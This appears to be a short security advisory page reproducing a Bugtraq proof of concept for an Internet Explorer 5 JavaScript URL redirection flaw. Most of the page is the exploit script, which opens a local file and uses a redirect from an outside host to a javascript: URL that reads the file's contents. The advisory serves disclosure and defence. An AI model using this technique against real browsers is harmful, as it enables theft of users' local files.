Microsoft IE5 Javascript URL Redirection Vulnerability

Microsoft IE5 Javascript URL Redirection Vulnerability

From Georgi's Bugtraq post:

<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will be read and shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://www.nat.bg/~joro/reject.cgi?jsredir1";
</SCRIPT>
// "http://www.nat.bg/~joro/reject.cgi?jsredir1" just does a HTTP redirect to: "javascript:alert(document.body.innerText)"

A demonstration of this exploit is available at:

http://www.nat.bg/~joro/jsredir1.html